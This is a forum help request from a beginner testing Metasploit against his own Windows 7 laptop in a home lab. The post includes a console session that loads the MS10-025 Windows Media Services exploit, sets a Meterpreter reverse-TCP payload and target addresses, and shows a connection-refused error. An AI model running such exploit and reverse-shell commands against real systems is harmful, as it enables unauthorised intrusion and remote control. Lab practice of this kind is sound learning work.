([msg=56234]see Metasploit error[/msg])
So I just started using Metasploit today, and set-up my laptop (Running Win 7) to test some exploits, for learning purposes of course.

I went over and disabled all of the firewalls (Including Windows Firewall) and AV's I have on that computer. I then went over to my desktop (also running Win7) and started using Metasploit. But when I tried to run an exploit, it says "Exploit Exception: The connection was refused by the remote host (192.168.33.1:1755)". Thinking I missed an AV or firewall I went over and checked, but it appears that all are disabled... I'm perplexed to say the least. Here's exactly what I did in Metasploit:
- Code: Select all
msf > use windows/mmsp/ms10_025_wmss_connect_funnel
msf exploit(ms10_25_wmss_connect_funnel) > set RHOST 192.168.33.115
RHOST => 192.168.33.115
msf exploit(ms10_25_wmss_connect_funnel) > set LHOST 192.168.33.101
LHOST => 192.168.33.101
msf exploit(ms10_25_wmss_connect_funnel) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms10_25_wmss_connect_funnel) > exploit
[*] Started reverse handler on 192.168.33.101:4444
[-] Exploit exception: The connection was refused by the remote host (192.168.33.115:1755)

Thanks for any and all help!
